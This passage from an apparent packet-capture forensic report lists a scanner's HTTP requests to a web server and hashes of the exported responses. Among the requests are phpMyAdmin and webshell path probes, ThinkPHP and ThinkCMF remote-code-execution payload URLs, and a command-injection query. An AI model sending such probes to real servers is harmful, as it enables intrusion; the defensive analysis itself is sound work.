`http://128.199.64.235/db__.init.php`; roles: http-request\n- url: `http://128.199.64.235/db_cts.php`; roles: http-request\n- url: `http://128.199.64.235/db_dataml.php`; roles: http-request\n- url: `http://128.199.64.235/db_desql.php`; roles: http-request\n- url: `http://128.199.64.235/db_pma.php`; roles: http-request\n- url: `http://128.199.64.235/db_session.init.php`; roles: http-request\n- url: `http://128.199.64.235/dbadmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/defect.php`; roles: http-request\n- url: `http://128.199.64.235/desktop.ini.php`; roles: http-request\n- url: `http://128.199.64.235/dexgp.php`; roles: http-request\n- url: `http://128.199.64.235/diy.php`; roles: http-request\n- url: `http://128.199.64.235/doudou.php`; roles: http-request\n- url: `http://128.199.64.235/download/index.php`; roles: http-request\n- url: `http://128.199.64.235/dp.php`; roles: http-request\n- url: `http://128.199.64.235/Drupal.php`; roles: http-request\n- url: `http://128.199.64.235/edmin.php`; roles: http-request\n- url: `http://128.199.64.235/elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50`; roles: http-request\n- url: `http://128.199.64.235/erba.php`; roles: http-request\n- url: `http://128.199.64.235/error.php`; roles: http-request\n- url: `http://128.199.64.235/erwa.php`; roles: http-request\n- url: `http://128.199.64.235/fack.php`; roles: http-request\n- url: `http://128.199.64.235/feixiang.php`; roles: http-request\n- url: `http://128.199.64.235/ffr.php`; roles: http-request\n- url: `http://128.199.64.235/floaw.php`; roles: http-request\n- url: `http://128.199.64.235/forum.php`; roles: http-request\n- url: `http://128.199.64.235/forum/index.php`; roles: http-request\n- url: `http://128.199.64.235/forums.php`; roles: http-request\n- url: `http://128.199.64.235/forums/index.php`; roles: http-request\n- url: `http://128.199.64.235/freebook.php`; roles: http-request\n- url: `http://128.199.64.235/ftmabc.php`; roles: http-request\n- url: `http://128.199.64.235/fuck.php`; roles: http-request\n- url: `http://128.199.64.235/fusheng.php`; roles: http-request\n- url: `http://128.199.64.235/g.php`; roles: http-request\n- url: `http://128.199.64.235/general.php`; roles: http-request\n- url: `http://128.199.64.235/godkey.php`; roles: http-request\n- url: `http://128.199.64.235/goodbook.php`; roles: http-request\n- url: `http://128.199.64.235/gotemp.php`; roles: http-request\n- url: `http://128.199.64.235/guai.php`; roles: http-request\n- url: `http://128.199.64.235/h1.php`; roles: http-request\n- url: `http://128.199.64.235/hack.php`; roles: http-request\n- url: `http://128.199.64.235/hacly.php`; roles: http-request\n- url: `http://128.199.64.235/hades.php`; roles: http-request\n- url: `http://128.199.64.235/haiyan.php`; roles: http-request\n- url: `http://128.199.64.235/hd.php`; roles: http-request\n- url: `http://128.199.64.235/hell.php`; roles: http-request\n- url: `http://128.199.64.235/hello.php`; roles: http-request\n- url: `http://128.199.64.235/help-e.php`; roles: http-request\n- url: `http://128.199.64.235/help.php`; roles: http-request\n- url: `http://128.199.64.235/hgx.php`; roles: http-request\n- url: `http://128.199.64.235/hh.php`; roles: http-request\n- url: `http://128.199.64.235/hhh.php`; roles: http-request\n- url: `http://128.199.64.235/hhhhhh.php`; roles: http-request\n- url: `http://128.199.64.235/hm.php`; roles: http-request\n- url: `http://128.199.64.235/home.php`; roles: http-request\n- url: `http://128.199.64.235/hs.php`; roles: http-request\n- url: `http://128.199.64.235/htdocs.php`; roles: http-request\n- url: `http://128.199.64.235/htfr.php`; roles: http-request\n- url: `http://128.199.64.235/hue2.php`; roles: http-request\n- url: `http://128.199.64.235/huoshan.php`; roles: http-request\n- url: `http://128.199.64.235/HX.php`; roles: http-request\n- url: `http://128.199.64.235/images/!.php`; roles: http-request\n- url: `http://128.199.64.235/images/attari.php`; roles: http-request\n- url: `http://128.199.64.235/images/jsspwneed.php`; roles: http-request\n- url: `http://128.199.64.235/images/stories/cmd.php`; roles: http-request\n- url: `http://128.199.64.235/images/stories/filemga.php?ssp=RfVbHu`; roles: http-request\n- url: `http://128.199.64.235/images/up.php`; roles: http-request\n- url: `http://128.199.64.235/images/vuln.php`; roles: http-request\n- url: `http://128.199.64.235/indax.php`; roles: http-request\n- url: `http://128.199.64.235/index.php`; roles: http-request\n- url: `http://128.199.64.235/index.php/module/action/param1/${@die(md5(HelloThinkPHP))}`; roles: http-request\n- url: `http://128.199.64.235/index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50`; roles: http-request\n- url: `http://128.199.64.235/index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))}`; roles: http-request\n- url: `http://128.199.64.235/indexl.php`; roles: http-request\n- url: `http://128.199.64.235/infoo.php`; roles: http-request\n- url: `http://128.199.64.235/infos.php`; roles: http-request\n- url: `http://128.199.64.235/ioi.php`; roles: http-request\n- url: `http://128.199.64.235/ip.php`; roles: http-request\n- url: `http://128.199.64.235/izom.php`; roles: http-request\n- url: `http://128.199.64.235/j.php`; roles: http-request\n- url: `http://128.199.64.235/java.php`; roles: http-request\n- url: `http://128.199.64.235/jbb.php`; roles: http-request\n- url: `http://128.199.64.235/jj1.php`; roles: http-request\n- url: `http://128.199.64.235/jjj.php`; roles: http-request\n- url: `http://128.199.64.235/jkl.php`; roles: http-request\n- url: `http://128.199.64.235/joomla/`; roles: http-request\n- url: `http://128.199.64.235/Joomla/`; roles: http-request\n- url: `http://128.199.64.235/jsc.php`; roles: http-request\n- url: `http://128.199.64.235/jsc.php.php`; roles: http-request\n- url: `http://128.199.64.235/jyyy.php`; roles: http-request\n- url: `http://128.199.64.235/kk.php`; roles: http-request\n- url: `http://128.199.64.235/kkl.php`; roles: http-request\n- url: `http://128.199.64.235/knal.php`; roles: http-request\n- url: `http://128.199.64.235/kpl.php`; roles: http-request\n- url: `http://128.199.64.235/ks1.php`; roles: http-request\n- url: `http://128.199.64.235/kvast.php`; roles: http-request\n- url: `http://128.199.64.235/l.php`; roles: http-request\n- url: `http://128.199.64.235/l6.php`; roles: http-request\n- url: `http://128.199.64.235/l7.php`; roles: http-request\n- url: `http://128.199.64.235/l8.php`; roles: http-request\n- url: `http://128.199.64.235/lala-dpr.php`; roles: http-request\n- url: `http://128.199.64.235/lala.php`; roles: http-request\n- url: `http://128.199.64.235/lang.php?f=1`; roles: http-request\n- url: `http://128.199.64.235/lanke.php`; roles: http-request\n- url: `http://128.199.64.235/lapan.php`; roles: http-request\n- url: `http://128.199.64.235/laravel.php`; roles: http-request\n- url: `http://128.199.64.235/ldw.php`; roles: http-request\n- url: `http://128.199.64.235/liangchen.php`; roles: http-request\n- url: `http://128.199.64.235/license.php`; roles: http-request\n- url: `http://128.199.64.235/lindex.php`; roles: http-request\n- url: `http://128.199.64.235/link.php`; roles: http-request\n- url: `http://128.199.64.235/linkr.php`; roles: http-request\n- url: `http://128.199.64.235/linkx.php`; roles: http-request\n- url: `http://128.199.64.235/linux.php`; roles: http-request\n- url: `http://128.199.64.235/linux1.php`; roles: http-request\n- url: `http://128.199.64.235/linuxse.php`; roles: http-request\n- url: `http://128.199.64.235/ljb.php`; roles: http-request\n- url: `http://128.199.64.235/lkio.php`; roles: http-request\n- url: `http://128.199.64.235/lm.php`; roles: http-request\n- url: `http://128.199.64.235/lmn.php`; roles: http-request\n- url: `http://128.199.64.235/log.php`; roles: http-request\n- url: `http://128.199.64.235/logo.php`; roles: http-request\n- url: `http://128.199.64.235/logon.php`; roles: http-request\n- url: `http://128.199.64.235/lol.php`; roles: http-request\n- url: `http://128.199.64.235/lost.php`; roles: http-request\n- url: `http://128.199.64.235/lz.php`; roles: http-request\n- url: `http://128.199.64.235/m.php`; roles: http-request\n- url: `http://128.199.64.235/m.php?pbid=open`; roles: http-request\n- url: `http://128.199.64.235/manager/html`; roles: http-request\n- url: `http://128.199.64.235/mazi.php`; roles: http-request\n- url: `http://128.199.64.235/meijianxue.php`; roles: http-request\n- url: `http://128.199.64.235/meng.php`; roles: http-request\n- url: `http://128.199.64.235/miao.php`; roles: http-request\n- url: `http://128.199.64.235/min.php`; roles: http-request\n- url: `http://128.199.64.235/mjx.php`; roles: http-request\n- url: `http://128.199.64.235/mm.php`; roles: http-request\n- url: `http://128.199.64.235/mmp.php`; roles: http-request\n- url: `http://128.199.64.235/mobai.PHP`; roles: http-request\n- url: `http://128.199.64.235/Moxin.PHP`; roles: http-request\n- url: `http://128.199.64.235/muhstik-dpr.php`; roles: http-request\n- url: `http://128.199.64.235/muhstik.php`; roles: http-request\n- url: `http://128.199.64.235/muhstik2.php`; roles: http-request\n- url: `http://128.199.64.235/muhstiks.php`; roles: http-request\n- url: `http://128.199.64.235/muma.php`; roles: http-request\n- url: `http://128.199.64.235/mx.php`; roles: http-request\n- url: `http://128.199.64.235/my.php`; roles: http-request\n- url: `http://128.199.64.235/myadmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/MyAdmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/myadmin/scripts/db___.init.php`; roles: http-request\n- url: `http://128.199.64.235/MyAdmin/scripts/db___.init.php`; roles: http-request\n- url: `http://128.199.64.235/myadmin/scripts/setup.php`; roles: http-request\n- url: `http://128.199.64.235/MyAdmin/scripts/setup.php`; roles: http-request\n- url: `http://128.199.64.235/myadmin2/index.php`; roles: http-request\n- url: `http://128.199.64.235/mysql-admin/index.php`; roles: http-request\n- url: `http://128.199.64.235/mysql.php`; roles: http-request\n- url: `http://128.199.64.235/mysql/admin/index.php`; roles: http-request\n- url: `http://128.199.64.235/mysql/dbadmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/mysql/index.php`; roles: http-request\n- url: `http://128.199.64.235/mysql/sqlmanager/index.php`; roles: http-request\n- url: `http://128.199.64.235/mysql_admin/index.php`; roles: http-request\n- url: `http://128.199.64.235/mysqladmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/MySQLAdmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/mz.php`; roles: http-request\n- url: `http://128.199.64.235/nb.php`; roles: http-request\n- url: `http://128.199.64.235/neko.php`; roles: http-request\n- url: `http://128.199.64.235/new_license.php`; roles: http-request\n- url: `http://128.199.64.235/nnb.php`; roles: http-request\n- url: `http://128.199.64.235/nnn.php`; roles: http-request\n- url: `http://128.199.64.235/no.php`; roles: http-request\n- url: `http://128.199.64.235/no1.php`; roles: http-request\n- url: `http://128.199.64.235/nuoxi.php`; roles: http-request\n- url: `http://128.199.64.235/o.php`; roles: http-request\n- url: `http://128.199.64.235/okokok.php`; roles: http-request\n- url: `http://128.199.64.235/olelist.php`; roles: http-request\n- url: `http://128.199.64.235/ooi.php`; roles: http-request\n- url: `http://128.199.64.235/ooo.php`; roles: http-request\n- url: `http://128.199.64.235/ooo23.php`; roles: http-request\n- url: `http://128.199.64.235/orange.php`; roles: http-request\n- url: `http://128.199.64.235/p.php`; roles: http-request\n- url: `http://128.199.64.235/p34ky1337.php`; roles: http-request\n- url: `http://128.199.64.235/pagefile.php`; roles: http-request\n- url: `http://128.199.64.235/pass.php`; roles: http-request\n- url: `http://128.199.64.235/payload.php`; roles: http-request\n- url: `http://128.199.64.235/pe.php`; roles: http-request\n- url: `http://128.199.64.235/php.php`; roles: http-request\n- url: `http://128.199.64.235/php2MyAdmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpadmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpAdmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpdm.php`; roles: http-request\n- url: `http://128.199.64.235/phpiMyAdmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpinfi.php`; roles: http-request\n- url: `http://128.199.64.235/phpinfo.php`; roles: http-request\n- url: `http://128.199.64.235/phpini.php`; roles: http-request\n- url: `http://128.199.64.235/phpma/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpmadmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpmy/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpMyAbmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpmyadm1n/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpMyAdm1n/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpMyadmi/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpMyAdmin+++---/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpMyAdmin-4.4.0/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpmyadmin-old/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpMyAdmin._/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpMyAdmin._2/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpMyAdmin.old/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpmyadmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpMyAdmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpmyadmin/phpmyadmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpMyAdmin/phpMyAdmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpmyadmin/scripts/db___.init.php`; roles: http-request\n- url: `http://128.199.64.235/phpMyAdmin/scripts/db___.init.php`; roles: http-request\n- url: `http://128.199.64.235/phpmyadmin/scripts/setup.php`; roles: http-request\n- url: `http://128.199.64.235/phpMyAdmin/scripts/setup.php`; roles: http-request\n- url: `http://128.199.64.235/phpmyadmin0/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpmyadmin1/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpMyAdmin1/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpMyAdmin123/index.php`; roles: http-request\n- url: `http://128.199.64.235/phpmyadmin2/index.php`; roles: http-request\n- exported object `%2f`; SHA-256 `54439de67d3af19d75b468511444a25f067767ff629b0e0262bb6781ed27b7bd`; size 468 bytes\n  SHA-1: `f0706f181ba9d36aac436db18ed9da02fb3ff5a0`; MD5: `c7e3eafb144f2ba544982cfee86447e2`; completeness: matches-declared-content-length; transfers: `[{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":10,\"response_frame\":12,\"server_ip\":\"10.12.25.101\",\"status_code\":\"200\",\"tcp_stream\":1,\"url\":\"http://128.199.64.235/\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":280,\"response_frame\":282,\"server_ip\":\"10.12.25.101\",\"status_code\":\"200\",\"tcp_stream\":5,\"url\":\"http://128.199.64.235/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":285,\"response_frame\":287,\"server_ip\":\"10.12.25.101\",\"status_code\":\"200\",\"tcp_stream\":5,\"url\":\"http://128.199.64.235/\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":297,\"response_frame\":299,\"server_ip\":\"10.12.25.101\",\"status_code\":\"200\",\"tcp_stream\":5,\"url\":\"http://128.199.64.235/?a=echo%20-n%20HelloNginx%7Cmd5sum\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":null,\"response_frame\":2058,\"server_ip\":\"10.12.25.101\",\"status_code\":\"200\",\"tcp_stream\":70,\"url\":\"\"}]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n  Redacted content structure: `{\"credential_record_present\":false,\"identities\":[],\"inspected_bytes\":468,\"private_key_marker_present\":false,\"scope\":\"Allowlisted structural features; secret values and arbitrary payload text omitted\",\"system_inventory_marker_present\":false,\"truncated\":false}`; do not infer the destination without an exact transfer binding.\n- exported object `%2f(1)`; SHA-256 `a96a4910f93b4c0458875c5a212a738ea90d9d6ce1ed4bb45bbe441504d82183`; size 468 bytes\n  SHA-1: `05db6d36a57b42b7958703dbbe8debac797b45e4`; MD5: `47fc4b08c206302021ab7239e2ffc718`; completeness: unknown; transfers: `[{\"client_ip\":\"139.199.184.166\",\"completeness\":\"unknown\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":21,\"response_frame\":22,\"server_ip\":\"10.12.25.101\",\"status_code\":\"200\",\"tcp_stream\":1,\"url\":\"http://128.199.64.235/\"}]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n  Redacted content structure: `{\"credential_record_present\":false,\"identities\":[],\"inspected_bytes\":468,\"private_key_marker_present\":false,\"scope\":\"Allowlisted structural features; secret values and arbitrary payload text omitted\",\"system_inventory_marker_present\":false,\"truncated\":false}`; do not infer the destination without an exact transfer binding.\n- exported object `(1).php`; SHA-256 `5125bf862c72ccb0de89bbd789010efdd11456196c712f9342320c66a8f6fb87`; size 279 bytes\n  SHA-1: `02cae67bce2083ba443784f3f0450347a88e0411`; MD5: `1a5e1cc8a0dffc32fb5dae467f47641b`; completeness: matches-declared-content-length; transfers: `[{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":1705,\"response_frame\":1706,\"server_ip\":\"10.12.25.101\",\"status_code\":\"403\",\"tcp_stream\":55,\"url\":\"http://128.199.64.235/.php\"}]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n  Redacted content structure: `{\"credential_record_present\":false,\"identities\":[],\"inspected_bytes\":279,\"private_key_marker_present\":false,\"scope\":\"Allowlisted structural features; secret values and arbitrary payload text omitted\",\"system_inventory_marker_present\":false,\"truncated\":false}`; do not infer the destination without an exact transfer binding.\n- exported object `!.php`; SHA-256 `82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b`; size 276 bytes\n  SHA-1: `2134b6643fcf53ff3dd93749248f1e519e82833d`; MD5: `70aaa31a23ec73c47015983ed40dbd6c`; completeness: matches-declared-content-length; transfers: `[{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":15,\"response_frame\":16,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":1,\"url\":\"http://128.199.64.235/robots.txt\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":18,\"response_frame\":19,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":1,\"url\":\"http://128.199.64.235/Admin1f768268/Login.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":25,\"response_frame\":26,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":1,\"url\":\"http://128.199.64.235/l.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":28,\"response_frame\":29,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":1,\"url\":\"http://128.199.64.235/phpinfo.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":31,\"response_frame\":32,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":1,\"url\":\"http://128.199.64.235/test.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":34,\"response_frame\":35,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":1,\"url\":\"http://128.199.64.235/index.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":44,\"response_frame\":46,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":2,\"url\":\"http://128.199.64.235/bbs.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":48,\"response_frame\":50,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":2,\"url\":\"http://128.199.64.235/forum.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":52,\"response_frame\":53,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":2,\"url\":\"http://128.199.64.235/forums.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":55,\"response_frame\":56,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":2,\"url\":\"http://128.199.64.235/bbs/index.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":58,\"response_frame\":60,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":2,\"url\":\"http://128.199.64.235/forum/index.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":62,\"response_frame\":63,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":2,\"url\":\"http://128.199.64.235/forums/index.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":68,\"response_frame\":70,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":3,\"url\":\"http://128.199.64.235:80/webdav/\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":75,\"response_frame\":76,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":2,\"url\":\"http://128.199.64.235/help.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":85,\"response_frame\":87,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":4,\"url\":\"http://128.199.64.235/java.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":89,\"response_frame\":90,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":4,\"url\":\"http://128.199.64.235/_query.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":92,\"response_frame\":93,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":4,\"url\":\"http://128.199.64.235/test.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":94,\"response_frame\":95,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":4,\"url\":\"http://128.199.64.235/db_cts.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":97,\"response_frame\":98,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":4,\"url\":\"http://128.199.64.235/db_pma.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":100,\"response_frame\":101,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":4,\"url\":\"http://128.199.64.235/logon.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":103,\"response_frame\":104,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":4,\"url\":\"http://128.199.64.235/help-e.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":106,\"response_frame\":107,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":4,\"url\":\"http://128.199.64.235/license.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":109,\"response_frame\":110,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":4,\"url\":\"http://128.199.64.235/log.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":112,\"response_frame\":113,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":4,\"url\":\"http://128.199.64.235/hell.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":115,\"response_frame\":116,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":4,\"url\":\"http://128.199.64.235/pmd_online.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":118,\"response_frame\":119,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":4,\"url\":\"http://128.199.64.235/x.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":121,\"response_frame\":122,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":4,\"url\":\"http://128.199.64.235/shell.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":124,\"response_frame\":125,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":4,\"url\":\"http://128.199.64.235/htdocs.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":127,\"response_frame\":128,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":4,\"url\":\"http://128.199.64.235/b.php\"},{\"client_ip\":\"139.199.184.166\",\"completeness\":\"matches-declared-content-length\",\"match_basis\":\"exact-sha256-of-decoded-http-response-body\",\"request_frame\":130,\"response_frame\":131,\"server_ip\":\"10.12.25.101\",\"status_code\":\"404\",\"tcp_stream\":4,\"url\":\"http://128.199.64.235/sane.php\"}]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n  Redacted content structure: `{\"credential_record_present\":false,\"identities\":[],\"inspected_bytes\":276,\"private_key_marker_present\":false,\"scope\":\"Allowlisted structural features; secret values and arbitrary payload text omitted\",\"system_inventory_marker_present\":false,\"truncated\":false}`; do not infer the destination without an exact transfer binding.\n- exported object `index(8).php`; SHA-256 `9d78edbcd5ce074aea33ca46b6179acaea71b1da5037512696f654f6e1c8fd97`; size 196 bytes\n  SHA-1: `2a63c16d413dbed3e07670fdeb97936a6599502b`; MD5: `f4c6161f9cda8dc4faae2381489c5189`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `bbs.php`; SHA-256 `8d0dacc8798f82e5d92ce49a325e4f846690beb98d47aa3a4812364cba281132`; size 103 bytes\n  SHA-1: `0624f1f0795e364adff0d5328ec392a02a6df0d6`; MD5: `88281a834fc9594295c14f7a29746d17`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `object2055`; SHA-256 `a7cd66c3fff91a6aab3d190fd8ad88db7855ca72fe34bced1601b3796a3a9aee`; size 94 bytes\n  SHA-1: `f2802b1e107e22b89d7ae151da249bef076cbba1`; MD5: `35b51ec9c56ec08d800be4f6f2212a5f`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `099.php`; SHA-256 `39065d99363d6ee5b1acc6dfef3296e45609bcf500fd353c5d7109de05814fdf`; size 36 bytes\n  SHA-1: `e507d87e7ccbfc3486fc6fec2ffdadf191ec25e8`; MD5: `f8afca108725baa48a76863cc2ae6059`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `conflg(2).php`; SHA-256 